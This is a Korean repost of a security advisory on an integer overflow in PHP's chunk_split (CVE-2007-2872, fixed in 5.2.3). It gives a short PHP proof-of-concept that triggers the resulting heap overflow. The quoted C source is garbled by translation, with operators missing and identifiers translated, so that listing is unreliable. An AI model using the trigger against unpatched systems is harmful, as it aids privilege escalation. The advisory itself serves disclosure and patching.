>백엔드 개발 >PHP 튜토리얼 >분할 함수 Chunk_split 함수 PHP52에서의 정수 오버플로 취약점 분석

분할 함수 Chunk_split 함수 PHP52에서의 정수 오버플로 취약점 분석

WBOY
WBOY원래의
2016-07-29 08:36:581751검색

영향을 받는 시스템:
PHP PHP < 5.2.3
영향을 받지 않는 시스템:
PHP PHP 5.2.3
설명:
------------ --- --------------------- --- ---------------
BUGTRAQ ID: 24261
CVE(CAN) ID: CVE-2007-2872
PHP는 널리 사용되는 웹 서버 터미널 프로그래밍 언어입니다.
PHP의 Chunk_split 함수에는 잘못된 매개변수를 처리할 때 정수 오버플로 취약점이 있습니다. 로컬 공격자는 이 취약점을 이용하여 자신의 권한을 상승시킬 수 있습니다.
PHP의 Chunk_split 함수 1963행에서는 함수 결과에 충분한 메모리 크기를 할당하려고 시도하지만 아무런 확인도 수행하지 않고 srclen 및 Chunklen 매개변수 블록을 사용합니다. 값의 블록과 endlen이 65534바이트보다 크면 정수 오버플로가 발생하고 잘못된 메모리 크기가 할당되어 힙 오버플로가 발생합니다.
ext/standard/string.c:
1953 static char *php_chunk_split(char *src, int srclen, char *end,
int endlen, int Chunklen, int *destlen)
1954 {
1955 char *dest;
1956 char *p, *q;
1957 int 청크; /* 완전한 청크 */
1958 int Restlen;
1959
1960 청크 = srclen /chunklen;
1961 Restlen = srclen - 덩어리 * 덩어리렌; /* srclen % 덩어리렌 */
1962
1963 dest = safe_emalloc((srclen (청크 1) * endlen 1),
sizeof( char), 0);
1964
1965 for (p = src, q = dest; p < (src srclen - Chunklen 1); ) {
1966 memcpy(q, p, Chunklen);
1967 q = Chunklen;
1968 memcpy(q, end, endlen);
1969 q = endlen;
1970 p = Chunklen;
1971 }
<*출처: 게르하르트 바그너
링크: http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia. com/advisories/25456/
*>
테스트 방법:
--------------- ------------------------------------- -
경고
다음 절차(방법)는 모욕적일 수 있으며 보안 연구 및 교육 목적으로만 사용됩니다. 자신의 책임하에 사용하십시오!
$a=str_repeat("A", 65535);
$b=1;
$c=str_repeat("A", 65535);
chunk_split($ a,$b,$c);
?>
제안:
------------- - ------------------------------------------------- - --
제조업체 패치:
PHP
---
현재 제조업체에서는 이 보안 문제를 해결하기 위한 업그레이드 패치를 출시했습니다. 제조업체 홈페이지에서 다운로드하세요.
http:// www .php.net/downloads.php#v5
기사 출처: NSFOCUS Technology

위 내용은 분할 함수의 내용을 포함하여 PHP52에서의 분할 함수 Chun_split 함수 정수 오버플로 취약점 분석을 소개합니다. PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.